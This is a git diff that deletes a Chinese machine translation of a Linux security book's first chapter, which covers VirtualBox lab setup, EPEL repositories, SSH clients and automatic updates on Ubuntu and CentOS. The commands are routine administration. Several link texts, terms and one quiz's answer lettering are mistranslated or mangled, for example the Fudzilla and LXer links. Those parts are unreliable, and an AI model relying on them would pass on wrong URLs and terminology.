服务器。(当然,这对本书的读者来说是个好消息,因为——相信我——这里不乏高薪的 IT 安全工作。) - -现在,除了服务器和桌面上的 Linux 之外,我们现在还有属于**物联网** ( **物联网**)的设备上的 Linux。这些设备存在许多安全问题,很大程度上是因为人们不知道如何安全地配置它们。 - -当我们浏览这本书时,我们将看到如何以正确的方式开展业务,使我们的服务器尽可能安全。 - -# 关注安全新闻 - -如果你在信息技术行业,即使你不是安全管理员,你也会想了解最新的安全新闻。在互联网时代,这很容易做到。 - -第一,专门做网络安全新闻的网站相当多。例子包括数据包风暴安全和黑客新闻。常规的技术新闻网站和 Linux 新闻网站,如 Ars Technica、Fudzilla、The Register、ZDNet 和 LXer,也有关于网络安全漏洞的报道。而且,如果你宁愿看视频也不愿意阅读,你会发现有很多好的 YouTube 频道,比如 *BeginLinux Guru* 。 - -最后,不管您使用的是哪一个 Linux 发行版,一定要及时了解您的 Linux 发行版的新闻和最新文档。发行版维护者应该有办法让你知道他们的产品是否出现了安全问题。 - -安全新闻网站的链接如下: - -* **分组风暴安全**:[https://packetstormsecurity.com/](https://packetstormsecurity.com/) -* **黑客新闻**:[https://thehackernews.com/](https://thehackernews.com/) - -一般技术新闻网站的链接如下: - -* **Ars 技术类**:[https://arstechnica . com/](https://arstechnica.com/) -* 复子兰 : [https://www .复子兰. com/](https://www.fudzilla.com/) -* **登记册**:[https://www.theregister.co.uk/](https://www.theregister.co.uk/) -* **zdnet**:[https://www . zdnet . com/](https://www.zdnet.com/) - -您可以查看一些通用的 Linux 学习资源以及 Linux 新闻网站: - -* **轻拍**:[http://轻拍. com/](http://lxer.com/) -* **YouTube 上的 BeginLinux Guru**:[https://www.youtube.com/channel/UC88eard_2sz89an6unmlbeA](https://www.youtube.com/channel/UC88eard_2sz89an6unmlbeA) (完全披露:我是举世闻名的 BeginLinux Guru。) - -当你看这本书的时候,有一件事要永远记住,那就是你能看到的唯一一个完全 100%安全的操作系统将被安装在一台永远不会开机的电脑上。 - -# 物理、虚拟和云设置之间的差异 - -所以你可以做动手实验,我将向你介绍虚拟机的概念。这只是在另一个操作系统中运行一个操作系统的一种方式。因此,无论您在主机上运行的是 Windows、macOS 还是 Linux 都没有关系。无论如何,你可以运行一个可以用来练习的 Linux 虚拟机,如果它被破坏了,你就不用担心了。 - -甲骨文的 VirtualBox 是我们将要使用的,它非常适合我们将要做的事情。在企业环境中,您会发现其他形式的虚拟化软件更适合在数据中心中使用。在过去,服务器硬件一次只能处理一件事,这意味着您必须让一台服务器运行 DNS,另一台运行 DHCP,等等。如今,我们的服务器有大量的内存、大量的驱动器空间,每个处理器有多达 64 个内核。因此,现在在每台服务器上安装多个虚拟机更便宜、更方便,每个虚拟机都有自己的特定工作。这也意味着,您不仅需要担心托管这些虚拟机的物理服务器的安全性,还需要担心每个虚拟机的安全性。另一个问题是,您需要确保虚拟机之间保持适当的隔离,尤其是那些包含敏感数据的虚拟机。 - -然后是云。许多不同的机构提供云服务,个人或公司可以创建一个 Windows 或他们选择的 Linux 发行版的实例。在云服务上安装 Linux 发行版时,您必须马上做一些事情来增强安全性。(这是我们将在[第 6 章](06.html)、 *SSH 加固*中介绍的内容。)并意识到,当您在云服务上设置服务器时,您总是会更加关注适当的安全性,因为它将有一个连接到狂野而混乱的互联网的接口。(除了为公众服务的服务器,您的内部服务器通常与互联网隔离。) - -抛开我们的介绍性材料,让我们进入正题,首先介绍一下我们的虚拟化软件。 - -# 介绍 VirtualBox 和 Cygwin - -每当我写作或教学时,我都非常努力不为学生提供治疗失眠的方法。在这本书里,只要有必要,你会看到一些理论,但我主要喜欢提供好的、实用的信息。还会有大量循序渐进的实验和偶尔的幽默。 - -做实验的最好方法是使用 Linux 虚拟机。我们将做的大部分事情可以应用于任何 Linux 发行版,但是我们也将做一些特定于**红帽企业 Linux** ( **RHEL** )或 Ubuntu Linux 的事情。(RHEL 最适合企业使用,而 Ubuntu 最适合云部署。) - -Red Hat is a billion-dollar company, so there's no doubt about where they stand in the Linux market. But since Ubuntu Server is free of charge, we can't judge its popularity strictly on the basis of its parent company's worth. The reality is that Ubuntu Server is the most widely used Linux distribution for deploying cloud-based applications. - -See here for details: [http://www.zdnet.com/article/ubuntu-linux-continues-to-dominate-openstack-and-other-clouds/](http://www.zdnet.com/article/ubuntu-linux-continues-to-dominate-openstack-and-other-clouds/). - -由于红帽是收费产品,我们将替换 CentOS 7 和 CentOS 8,它们是从红帽源代码构建的,是免费的。(我们同时使用 CentOS 7 和 CentOS 8,因为它们之间存在一些差异,并且在未来相当长的一段时间内都将得到支持。) - -对于 Ubuntu,我们将关注 18.04 版本,因为它是最新的**长期支持** ( **LTS** )版本。新的 LTS 版本的 Ubuntu 在每个偶数年的 4 月份发布,非 LTS 版本在每个奇数年的 4 月份和每年的 10 月份发布。对于生产使用,你会主要想坚持 LTS 版本,因为非 LTS 版本有时会有点问题。 - -有几种不同的虚拟化平台可以使用,但我自己更喜欢的选择是 VirtualBox。 - -VirtualBox 适用于 Windows、Linux 和 Mac 主机,并且对所有主机都是免费的。它具有您必须在其他平台上付费的功能,例如创建虚拟机快照的能力。 - -我们将要做的一些实验将要求您模拟创建从主机到远程 Linux 服务器的连接。如果你的主机是 Linux 或者 Mac,你只需要打开终端,使用内置的**安全外壳** ( **SSH** )工具。如果您的主机运行的是 Windows,您将需要安装某种 Bash shell,您可以通过安装 Cygwin 或使用 Windows 10 Pro 内置的 Bash shell 来完成。 - -# 在 VirtualBox 中安装虚拟机 - -对于那些从未使用过 VirtualBox 的人来说,这里有一个快速指南可以帮助你们: - -1. 下载并安装 VirtualBox 和 VirtualBox 扩展包。你可以从 https://www.virtualbox.org/买到。 -2. 下载 Ubuntu Server 18.04、CentOS 7、CentOS 8 的安装`.iso`文件。你可以从[https://Ubuntu . com/download/alternative-downloads # alternative-Ubuntu-server-installer](https://ubuntu.com/download/alternative-downloads#alternate-ubuntu-server-installer)和[https://www.centos.org/](https://www.centos.org/)获得。(请注意,对于 Ubuntu 18.04,您需要使用这个替代安装程序。从主下载页面获得的默认安装程序缺少完成练习所需的一些功能。) -3. 启动虚拟对话框,然后单击屏幕顶部的新建图标。根据要求填写信息。将虚拟驱动器大小增加到 20 GB,但将其他所有内容保留为默认设置,如下图所示: - -![](img/cf1f3c4e-4f5c-467f-ab1c-1d6ecf32cbe3.png) - -4. 启动新的虚拟机。点击对话框左下角的文件夹图标,导航到您存储下载的`.iso`文件的目录。选择 Ubuntu 国际标准化组织文件或 CentOS 国际标准化组织文件,如下图所示: - -![](img/4899c866-cd76-41c8-87ce-e369fa51e344.png) - -5. 单击对话框上的开始按钮开始安装操作系统。请注意,对于 Ubuntu 服务器,您不会安装桌面界面。对于 CentOS 7 虚拟机,根据需要选择 KDE 桌面或 GNOME 桌面。对于 CentOS 8,你唯一的桌面选择就是 GNOME。(我们将完成至少一个需要 CentOS 机器桌面界面的练习。) -6. 安装 Ubuntu 时,当您到达以下屏幕时,选择安装 Ubuntu 服务器: - -![](img/0a676898-f36c-4356-80b2-64e21c38db73.png) - -7. 对其他 Linux 发行版重复该过程。 -8. 通过输入以下命令更新 Ubuntu 虚拟机: - -```sh -sudo apt update -sudo apt dist-upgrade -``` - -9. 暂停更新 CentOS 虚拟机,因为我们将在下一个练习中进行更新。 -10. 对于 Ubuntu,在配置任务屏幕上选择无自动更新,并在软件选择屏幕上选择安装 OpenSSH 服务器。 - -When installing Ubuntu, you'll be asked to create a normal user account and password for yourself. It won't ask you to create a root user password, but will instead automatically add you to the `sudo` group so that you'll have admin privileges. - -When you get to the user account creation screen of the CentOS installer, be sure to check the Make this user administrator box for your own user account, since it isn't checked by default. It will offer you the chance to create a password for the root user, but that's entirely optional—in fact, I never do. - -此处显示了 RHEL 8 安装程序的用户帐户创建屏幕,该屏幕与 CentOS 7 和 CentOS 8 上的屏幕相同: - -![](img/3d721a94-989a-47e8-b0f5-81b0d8e3e7f6.png) - -对于 Ubuntu 18.04,您将通过几个不言自明的屏幕来设置您的真实姓名、用户名和密码。Ubuntu 安装程序会自动将您的用户帐户添加到`sudo`组,这将赋予您完全的管理员权限。 - -这是 Ubuntu 18.04 的用户帐户创建屏幕: - -![](img/89f15a4d-161e-4f7d-81dc-de0c2de04c01.png) - -所以,现在,让我们换个话题,继续看 CentOS 7。 - -# 在 CentOS 7 虚拟机上安装 EPEL 存储库 - -虽然 Ubuntu 软件包库几乎包含了本课程所需的所有内容,但我们可以说,CentOS 软件包库是缺乏的。要获得 CentOS 实践实验室所需的软件包,您需要安装 EPEL 存储库。(EPEL 项目由 Fedora 团队负责。)当您在红帽和 CentOS 系统上安装第三方存储库时,您还需要安装优先级包并编辑`.repo`文件,为每个存储库设置适当的优先级。这将防止来自第三方存储库的包覆盖官方的红帽和 CentOS 包,如果它们恰好同名的话。以下步骤将帮助您安装所需的软件包并编辑`.repo`文件: - -1. 安装 EPEL 需要的两个软件包都在普通的 CentOS 7 存储库中。运行以下命令: - -```sh -sudo yum install yum-plugin-priorities epel-release -``` - -2. 安装完成后,导航至`/etc/yum.repos.d`目录,在自己喜欢的文本编辑器中打开`CentOS-Base.repo`文件。在`base`、`updates`和`extras`部分的最后一行之后,添加一行`priority=1`。在`centosplus`部分的最后一行之后,添加一行`priority=2`。保存文件并关闭编辑器。您编辑的每个部分都应该如下所示(除了适当的名称和优先级编号): - -```sh - [base] - name=CentOS-$releasever - Base - mirrorlist=http://mirrorlist.centos.org/? - release=$releasever&arch=$basearch&repo=os&infra=$infra - #baseurl=http://mirror.centos.org/centos/ - $releasever/os/$basearch/ - gpgcheck=1 - gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7 - priority=1 -``` - -3. 打开`epel.repo`文件进行编辑。在`epel`部分的最后一行之后,添加一行`priority=10`。在每个剩余部分的最后一行之后,添加一行`priority=11`。 -4. 通过运行以下命令更新系统,然后创建已安装和可用软件包的列表: - -```sh -sudo yum upgrade -sudo yum list > yum_list.txt -``` - -现在,让我们继续看 CentOS 8。 - -# 在 CentOS 8 虚拟机上安装 EPEL 存储库 - -要在 CentOS 8 上安装 EPEL 存储库,您只需运行以下命令: - -```sh -sudo dnf install epel-release -``` - -没有像 CentOS 7 和更早版本那样的优先级包,所以我们不必担心配置存储库优先级。 - -软件包安装完成后,使用以下命令创建可用软件包列表: - -```sh -sudo dnf upgrade -sudo dnf list > dnf_list.txt -``` - -接下来,让我们配置我们的网络。 - -# 为 VirtualBox 虚拟机配置网络 - -我们的一些培训场景将要求您模拟创建到远程服务器的连接。您可以通过使用主机连接到虚拟机来实现这一点。首次在 VirtualBox 上创建虚拟机时,网络设置为 NAT 模式。为了从主机连接到虚拟机,您需要将虚拟机的网络适配器设置为桥接适配器模式。你可以这样做: - -1. 关闭您已经创建的所有虚拟机。 -2. 在虚拟机管理器屏幕上,打开虚拟机的设置对话框。 -3. 单击网络菜单项,并将连接到设置从网络地址转换更改为桥接适配器,如下图所示: - -![](img/eb423f86-39cf-44df-bc1e-92be2cf67ae6.png) - -4. 展开“高级”项目,并将“混杂模式”设置更改为“允许全部”,如下图所示: - -![](img/bf638094-f11a-4ce4-90a0-474c96a61eb2.png) - -5. 重新启动虚拟机,并将其设置为使用静态 IP 地址。 - -If you assign static IP addresses from the high end of your subnet range, it will be easier to prevent conflicts with low-number IP addresses that get handed out from your internet gateway. - -# 使用 VirtualBox 创建虚拟机快照 - -使用虚拟机的一个好处是,如果您搞砸了什么,您可以创建一个快照并回滚到它。使用 VirtualBox,通过执行以下步骤,这很容易做到: - -1. 在 VirtualBox 管理器屏幕的右上角,单击快照按钮。 - -2. 在屏幕左侧,单击拍摄图标,弹出快照对话框。要么填写所需的快照名称,要么接受默认名称。或者,您可以创建描述,如下图所示: - -![](img/1af6ee15-d6ea-4fc0-8832-29fce45254a0.png) - -3. 对虚拟机进行更改后,您可以通过关闭虚拟机、突出显示快照名称并单击恢复按钮回滚到快照。 - -# 使用 Cygwin 连接到您的虚拟机 - -如果您的主机是 Linux 或 Mac 机器,您只需打开主机的终端,并使用已经存在的工具连接到虚拟机。但是,如果您运行的是一台 Windows 机器,您将需要某种 Bash shell 及其网络工具。Windows 10 Pro 现在有一个由 Ubuntu 提供的 Bash 外壳,如果你愿意,你可以使用它。但是如果你没有 Windows 10 Pro,或者你更喜欢用别的东西,你可能会考虑 Cygwin。 - -Cygwin 是红帽公司的一个项目,是一个为 Windows 构建的免费开源 Bash shell。它是免费的,容易安装。 - -# 在您的 Windows 主机上安装 Cygwin - -以下是让您与 Cygwin 合作的快速方法: - -1. 在你的主机浏览器中,从[http://www.cygwin.com/](http://www.cygwin.com/)下载适合你的 Windows 版本的`setup*.exe`文件。 -2. 双击安装图标开始安装。在大多数情况下,只需接受默认值,直到您进入软件包选择屏幕。(唯一的例外是您选择下载镜像的屏幕。) -3. 在包选择屏幕的顶部,从“视图”菜单中选择“类别”。 -4. 展开网络类别,如下图所示: - -![](img/69bbab3b-4fb0-4af6-9655-7673d1095b09.png) - -5. 向下滚动,直到看到 openssh 包。在“新建”列下,单击“跳过”(这将导致出现一个版本号来代替“跳过”),如下图所示: - -![](img/36eb5427-bae5-45d8-b07f-79bf96beb6a3.png) - -6. 选择合适的软件包后,您的屏幕应该如下所示: - -![](img/e5e8c35f-63ec-45e0-b5cb-fa48ce7a61b5.png) - -7. 在右下角,单击“下一步”。如果弹出“解决依赖关系”屏幕,也请单击该屏幕上的“下一步”。 - -8. 保留您下载的安装文件,因为您稍后将使用它来安装更多软件包或更新 Cygwin。(当您打开 Cygwin 时,任何更新的包都将显示在“视图”菜单上的“挂起”视图中。) -9. 从 Windows“开始”菜单打开 Cygwin 后,您可以根据需要调整其大小,并使用 *Ctrl* + +或 *Ctrl* + -组合键调整字体大小。 - -接下来,我们将看看 Windows 10 Bash 外壳。 - -# 使用 Windows 10 Pro Bash 外壳与 Linux 虚拟机接口 - -如果您使用的是视窗 10 专业版或视窗 10 企业版,您的操作系统中已经内置了一个 SSH 客户端。 - -那么,让我们看看如何做到这一点: - -1. 为此,您可以从 Windows 系统菜单中打开传统的命令提示符,如下所示: - -![](img/1c121c39-8bf6-499f-a772-c8f50b391e77.png) - -2. 然后,只需像在 Mac 或 Linux 机器上一样输入 SSH 命令,如下所示: - -![](img/09afc49f-0d40-43bc-9458-10beda86b3ed.png) - -3. 更好的选择是使用 Windows PowerShell,而不是普通的命令提示符。就像你在这里看到的: - -![](img/101d3671-43a4-4ad8-bcde-42e1c83cf8ae.png) - -4. 和以前一样,让我们用它来登录我的 Orange Pi 设备,如下所示: - -![](img/e5054559-f8f5-45e0-8955-9ad97a3150d8.png) - -如果可以选择,请使用 PowerShell 而不是命令提示符。PowerShell 更接近 Linux Bash shell 的体验,有了它你会开心很多。 - -# Cygwin 对 Windows Bash shell - -Cygwin 和 Windows 10 内置的 SSH 客户端各有利弊。为了支持 Cygwin,您可以安装各种各样的软件包,以任何您想要的方式对其进行定制。此外,如果你坚持使用 Windows 10 家庭版或——但愿不会——Windows 7,你可以使用 Cygwin。 - -为了支持 Windows 10 内置 SSH 客户端,事实是在 Windows 10 的专业版和企业版上,它已经存在了。此外,如果您需要访问您的普通窗口文件夹,它更容易使用,因为 Cygwin 将您困在它自己的沙盒目录结构中。 - -# 保持 Linux 系统的更新 - -花些时间仔细阅读常见漏洞和暴露数据库,你很快就会明白为什么保持系统更新如此重要。是的,事实上,您甚至会发现我们心爱的 Linux 存在安全缺陷,如下图所示: - -![](img/fec93350-5189-4a2e-8827-1e1f2c4a91d4.png) - -更新一个 Linux 系统只需要一两个简单的命令,通常比更新一个 Windows 系统更快,痛苦更小。 - -You can find the Common Vulnerabilities and Exposures database here: - -[https://cve.mitre.org/](https://cve.mitre.org/). - -All of you conscientious, dedicated Linux administrators will definitely want to become familiar with this site. - -# 更新基于 Debian 的系统 - -让我们看看如何更新基于 Debian 的系统: - -1. 在 Debian 及其许多子代(包括 Ubuntu)上,运行两个命令,如下所示: - -```sh -sudo apt update -sudo apt dist-upgrade -``` - -2. 有时,您还需要删除一些不再需要的旧包。你怎么知道?别紧张。当您登录到系统时,命令行上会出现一条消息。要删除这些旧包,只需运行以下命令: - -```sh -sudo apt auto-remove -``` - -接下来,我们将为 Ubuntu 配置自动更新。 - -# 为 Ubuntu 配置自动更新 - -Ubuntu 18.04 LTS 的一个新特性是你可以配置它来自动安装安全更新,这是 Ubuntu 16.04 LTS 没有的。您可以在安装程序屏幕上看到: - -![](img/731c6496-6f72-4cf1-89a8-82bb6d6b5acb.png) - -不过,我必须承认,我对此有复杂的感觉。我的意思是,很高兴安全更新得到安装,而我不必做任何事情,但许多这些更新需要重新启动系统才能生效。默认情况下,Ubuntu 系统不会在安装更新后自动重启。如果您保持这种方式,当您登录系统时,您会看到一条关于它的消息。但是如果你愿意,你可以设置 Ubuntu 在自动更新后自动重启。以下是如何做到这一点: - -1. 进入`/etc/apt/apt.conf.d`目录,在自己喜欢的文本编辑器中打开`50unattended-upgrades`文件。在 *68 号线*附近,你会看到一条线,上面写着: - -```sh -//Unattended-Upgrade::Automatic-Reboot "false"; -``` - -2. 通过删除前导斜线取消对该行的注释,并将`false`更改为`true`,如下所示: - -```sh -Unattended-Upgrade::Automatic-Reboot "true"; -``` - -3. 有了这个新的配置,Ubuntu 现在将在自动更新过程完成后立即重新启动。如果您希望机器在特定时间重新启动,请向下滚动到第 *73* 行,您将看到这一行代码: - -```sh -//Unattended-Upgrade::Automatic-Reboot-Time "02:00"; -``` - -4. 因为这一行是用它的一对前导斜线注释掉的,所以它目前没有效果。要让机器在凌晨 2:00 重新启动,只需取消对这一行的注释。要让它在晚上 10:00 重新启动,取消对该行的注释并将时间更改为`22:00`,如下所示: - -```sh -Unattended-Upgrade::Automatic-Reboot-Time "22:00"; -``` - -当然,有一个古老的、基本的规则,即在没有首先在测试系统上进行测试的情况下,不应该在生产系统上安装系统更新。任何操作系统供应商偶尔都会向您提供有问题的更新,包括 Ubuntu。(我知道你在说什么:*传吧,唐尼*。)Ubuntu 自动更新功能与基本规则直接对立。如果启用了自动更新,如果您选择这样做,禁用它们是非常容易的: - -1. 要禁用自动更新,只需进入`/etc/apt/apt.conf.d`目录,在你喜欢的文本编辑器中打开`20auto-upgrades`文件。你会看到的是: - -```sh -APT::Periodic::Update-Package-Lists "1"; -APT::Periodic::Unattended-Upgrade "1"; -``` - -2. 将第二行的参数更改为`0`,这样文件现在将如下所示: - -```sh -APT::Periodic::Update-Package-Lists "1"; -APT::Periodic::Unattended-Upgrade "0"; -``` - -现在,系统仍然会检查更新,并在有更新时在登录屏幕上显示一条消息,但不会自动安装它们。当然,不用说,你需要定期检查你的系统,看看是否有更新。如果您确实希望启用自动更新,请确保启用自动重新启动,或者每周至少登录系统几次,看看是否需要重新启动。 - -3. 如果您想查看是否有任何安全相关的更新可用,但不想查看任何非安全更新,请使用`unattended-upgrade`命令,如下所示: - -```sh -sudo unattended-upgrade --dry-run -d -``` - -4. 要手动安装安全相关更新而不安装非安全更新,只需运行以下代码行: - -```sh -sudo unattended-upgrade -d -``` - -If you're running some form of desktop Ubuntu on a workstation that gets shut down after every use, you can enable the automatic updates if you like, but there's no need to enable automatic reboots. - -Also, if you're running a non-Ubuntu flavor of Debian, which would include Raspbian for the Raspberry Pi, you can give it the same functionality as Ubuntu by installing the `unattended-upgrades` package. Just run the following line of code: - -`sudo apt install unattended-upgrades` - -您也可以使用`apt`命令仅安装安全更新,但这需要将`apt`输出管道传输到一组复杂的文本过滤器中,以屏蔽非安全更新。使用`unattended-upgrade`命令要容易得多。 - -I said before that we should always test updates on a test system before we install them on a production system, and that certainly does hold true for corporate servers. But what do we do when we have a whole bunch of IoT devices that we need to keep updated, especially if these devices are all over the place out in the field and in consumer devices? - -In the wonderful world of IoT, the ARM CPU versions of Ubuntu, Raspbian, and Debian are the most popular Linux distros for use on the various Pi devices, including the ubiquitous Raspberry Pi. If you have lots of IoT devices in the field and in consumer devices, you might not have direct control over them once they've been deployed or sold. They still need to be kept updated, so setting up unattended updates with automatic rebooting would certainly be advantageous. But keep in mind that in the world of IoT, we have to be concerned about safety as well as security. So, for example, if you have devices that are set up as some sort of critical, safety-related industrial controller, then you most likely don't want the device to automatically reboot after doing automatic updates. But if you're a television vendor who installs Linux on smart televisions, then definitely set them up to automatically update and to automatically reboot themselves after an update. - -# 更新基于红帽 7 的系统 - -对于基于红帽的系统,包括 CentOS 和 Oracle Linux,没有可以在安装过程中设置的自动更新机制。因此,使用默认配置,您需要自己执行更新: - -1. 要更新基于红帽 7 的系统,只需运行以下命令: - -```sh -sudo yum upgrade -``` - -2. 有时,您可能只想看看是否有任何与安全相关的更新可以安装。为此,请运行以下命令: - -```sh -sudo yum updateinfo list updates security -``` - -3. 如果有任何安全更新可用,您将在命令输出的末尾看到它们。在我刚刚测试的系统上,只有一个可用的安全更新,如下所示: - -```sh -FEDORA-EPEL-2019-d661b588d2 Low/Sec. nagios-common-4.4.3-1.el7.x86_64 - -updateinfo list done -``` - -4. 如果您只想安装安全更新,请运行以下命令: - -```sh -sudo yum upgrade --security -``` - -5. 现在,假设您需要一个 CentOS 系统来自动更新自己。你很幸运,因为有一个包裹。安装并启用它,通过运行以下命令启动它: - -```sh -sudo yum install yum-cron - -sudo systemctl enable --now yum-cron -``` - -6. 要进行配置,进入`/etc/yum`目录,编辑`yum-cron.conf`文件。在文件的顶部,您将看到以下内容: - -```sh -[commands] -# What kind of update to use: -# default = yum upgrade -# security = yum --security upgrade -# security-severity:Critical = yum --sec-severity=Critical upgrade -# minimal = yum --bugfix update-minimal -# minimal-security = yum --security update-minimal -# minimal-security-severity:Critical = --sec-severity=Critical update-minimal -update_cmd = default -``` - -这里列出了我们可以进行的各种升级。最后一行显示我们将更新所有内容。 - -7. 假设您只希望自动应用安全更新。只需将最后一行更改为以下内容: - -```sh -update_cmd = security -``` - -8. 在 *15* 和 *20* 线上,你会看到这条线: - -```sh -download_updates = yes -apply_updates = no -``` - -这表明默认情况下,`yum-cron`仅设置为自动下载更新,而不是安装更新。 - -9. 如果您希望自动安装更新,请将`apply_updates`参数更改为`yes`。 - -Note that unlike Ubuntu, there's no setting to make the system automatically reboot itself after an update. - -10. 最后,我们来看一下`yum-cron`的邮件设置,您可以在`yum-cron.conf`文件的 *48* 到 *57* 行找到,如下图所示: - -```sh -[email] -# The address to send email messages from. -# NOTE: 'localhost' will be replaced with the value of system_name. -email_from = root@localhost - -# List of addresses to send messages to. -email_to = root - -# Name of the host to connect to to send email messages. -email_host = localhost -``` - -如您所见,`email_to =`行被设置为向根用户帐户发送消息。如果你想用自己的账号接收信息,只需在这里更改即可。 - -11. 要查看邮件,您需要安装一个邮件阅读器程序,如果还没有安装的话。(如果在安装操作系统时选择了最小安装,则尚未安装。)你最好的办法是安装`mutt`,就像这样: - -```sh -sudo yum install mutt -``` - -12. 当你打开`mutt`查看一条消息,你会看到类似这样的内容: - -![](img/78d5abc0-30e0-450e-9f10-09e458075e5b.png) - -13. 与所有操作系统一样,某些更新需要重新启动系统。你怎么知道系统什么时候需要重启?当然是用`needs-restarting`命令。首先,你需要确保`needs-restarting`安装在你的系统上。用下面一行代码来完成: - -```sh -sudo yum install yum-utils -``` - -一旦安装好软件包,有三种方法可以使用`needs-restarting`。如果您只是在没有任何选项开关的情况下运行该命令,您将看到需要重新启动的服务和需要您重新启动机器的包。您也可以使用`-s`或`-r`选项,如下所示: - -| **命令** | **解释** | -| `sudo needs-restarting` | 这显示了需要重新启动的服务,以及系统可能需要重新启动的原因。 | -| `sudo needs-restarting -s` | 这仅显示需要重新启动的服务。 | -| `sudo needs-restarting -r` | 这仅显示了系统需要重新启动的原因。 | - -接下来,我们将更新基于红帽 8 的系统。 - -# 更新基于红帽 8 的系统 - -旧的`yum`实用程序已经存在了几乎永远,它是一个很好的,努力工作的实用程序。但它确实有其偶尔的怪癖,有时它会慢得令人难以忍受。但不用担心。我们红帽的英雄们终于为此做了些什么,用`dnf`取代了`yum`。现在,`dnf`已经在 Fedora 发行版上测试了几年,现在是 RHEL 8 家族的一部分。因此,当您使用 CentOS 8 虚拟机时,您将使用`dnf`而不是`yum`。让我们看看如何做到这一点: - -1. 在大多数情况下,您使用`dnf`的方式与使用`yum`的方式相同,具有相同的参数和选项。例如,要进行系统升级,只需运行以下命令: - -```sh -sudo dnf upgrade -``` - -2. `yum`和`dnf`的主要功能区别在于`dnf`有不同的自动更新机制。您现在将安装`dnf-automatic`软件包,而不是安装`yum-cron`软件包,如下所示: - -```sh -sudo dnf install dnf-automatic -``` - -3. 在`/etc/dnf`目录中,您将看到`automatic.conf`文件,您将使用与为 CentOS 7 配置`yum-cron.conf`文件相同的方式来配置该文件。`dnf-automatic`不再像以前的`yum-cron`那样做裙带工作,而是使用`systemd`定时器工作。首次安装`dnf-automatic`时,定时器被禁用。启用它,并通过运行以下代码行启动它: - -```sh -sudo systemctl enable --now dnf-automatic.timer -``` - -4. 通过键入以下代码行来验证它是否正在运行: - -```sh -sudo systemctl status dnf-automatic.timer -``` - -5. 如果它成功启动,您应该会看到如下内容: - -```sh -[donnie@redhat-8 ~]$ sudo systemctl status dnf-automatic.timer - dnf-automatic.timer - dnf-automatic timer - Loaded: loaded (/usr/lib/systemd/system/dnf-automatic.timer; enabled; vendor preset: disabled) - Active: active (waiting) since Sun 2019-07-07 19:17:14 EDT; 13s ago - Trigger: Sun 2019-07-07 19:54:49 EDT; 37min left - -Jul 07 19:17:14 redhat-8 systemd[1]: Started dnf-automatic timer. -[donnie@redhat-8 ~]$ -``` - -For more details about `dnf-automatic`, type the following command: - -`man dnf-automatic` - -仅此而已。 - -Automatic updating sounds like a good thing, right? Well, it is in some circumstances. On my own personal Linux workstations, I always like to turn it off. That's because it drives me crazy whenever I want to install a package, and the machine tells me that I have to wait until the update process finishes. In an enterprise, it might also be desirable to disable automatic updates, so that administrators can have more control over the update process. - -在企业环境中进行更新有一些特殊的注意事项。接下来让我们看看它们。 - -# 管理企业中的更新 - -当您第一次安装任何 Linux 发行版时,它将被配置为访问自己的包存储库。这允许用户安装任何软件包或直接从这些普通的发行版库中安装更新。这对家庭或小型企业来说很好,但对企业来说就不那么好了。 - -在企业环境中,还有两个额外的注意事项: - -* 您希望限制最终用户可以安装的软件包。 -* 在允许更新安装到生产网络之前,您总是希望在单独的测试网络上测试更新。 - -由于这些原因,企业通常会设置自己的存储库服务器,这些服务器只具有批准的包和批准的更新。网络上的所有其他机器将被配置为从它们那里获取包和更新,而不是从普通的发行版存储库中。(这里我们不讨论如何设置内部存储库服务器,因为这是一个更适合 Linux 管理书籍的主题。) - -Ubuntu has always been one of the more innovative Linux distros, but it's also had more than its fair share of quality-control problems. In its early days, there was at least one Ubuntu update that completely broke the operating system, requiring the user to re-install the operating system. So, yeah, in any mission-critical environment, test those updates before putting them into production. - -我想我们的介绍章节就到这里了。让我们把事情总结一下,好吗? - -# 摘要 - -因此,我们已经为 Linux 安全和加固之旅开了一个好头。在这一章中,我们了解了为什么知道如何保护和加固 Linux 系统和知道如何保护和加固 Windows 系统一样重要。我们提供了几个例子来说明配置不佳的 Linux 系统是如何被破坏的,我们还提到学习 Linux 安全性可能对你的职业生涯有好处。然后,我们研究了在云服务上将 Linux 服务器设置为虚拟机时的一些特殊注意事项。之后,我们研究了如何使用 VirtualBox、Cygwin 和 Windows 10 Bash shell 设置虚拟化实验室环境。我们通过快速查看如何保持您的 Linux 系统更新来总结事情。 - -在下一章中,我们将研究锁定用户帐户,并确保错误的人永远不会获得管理权限。到时候见。 - -# 问题 - -1. 因为 Linux 比 Windows 设计得更安全,所以我们永远不用担心 Linux 的安全性。 - -A.真 -B .假 - -2. 关于物联网设备上的 Linux,以下哪一项是正确的? - -A.他们太多了。他们正在接管世界。 -C .配置不安全的太多了。 -D .他们的配置非常安全,会让安全从业者失业。 - -3. 关于企业中的自动操作系统更新,以下哪一项是正确的? - -A.您应该始终启用它们。 -B .它们违反了在生产网络上安装更新之前先在测试网络上测试更新的基本规则。 -C .与手动更新不同,自动 -更新后,您永远不必重新启动系统。 -D .对于物联网设备,启用自动更新没有用。 - -# 进一步阅读 - -* **Linux 安全**:[https://linuxsecurity.com/](https://linuxsecurity.com/) -* 【VirtualBox 官方网站:[https://www.virtualbox.org/](https://www.virtualbox.org/) -* **Ubuntu“备用安装程序”下载页面**:[https://Ubuntu . com/download/alternative-downloads # Alternate-Ubuntu-server-Installer](https://ubuntu.com/download/alternative-downloads#alternate-ubuntu-server-installer) -* **官方 CentOS 页面**:[https://www.centos.org/](https://www.centos.org/) -* **RHEL 文档(这也适用于 CentOS)**:[https://access . RedHat . com/documentation/en-us/red _ hat _ enterprise _ Linux/8/](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/) -* **如何在 Ubuntu Server 18.04** 上设置自动更新:[https://libre-software.net/ubuntu-automatic-updates/](https://libre-software.net/ubuntu-automatic-updates/) -* **在 RHEL 7 和 CentOS 7 中启用自动更新**:[https://linuxaria . com/how to/启用自动更新 centos-7 和-rhel-7](https://linuxaria.com/howto/enabling-automatic-updates-in-centos-7-and-rhel-7) -* **管理和监控 RHEL 8 的安全更新**:[https://access . RedHat . com/documentation/en-us/red _ hat _ enterprise _ Linux/8/html/management _ and _ Monitoring _ Security _ Updates/index](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/managing_and_monitoring_security_updates/index) \ No newline at end of file diff --git a/docs/master-linux-sec-hard/02.md b/docs/master-linux-sec-hard/02.md deleted file mode 100644 index d498cfdb..00000000 --- a/docs/master-linux-sec-hard/02.md +++ /dev/null @@ -1,1821 +0,0 @@ -# 二、保护用户帐户 - 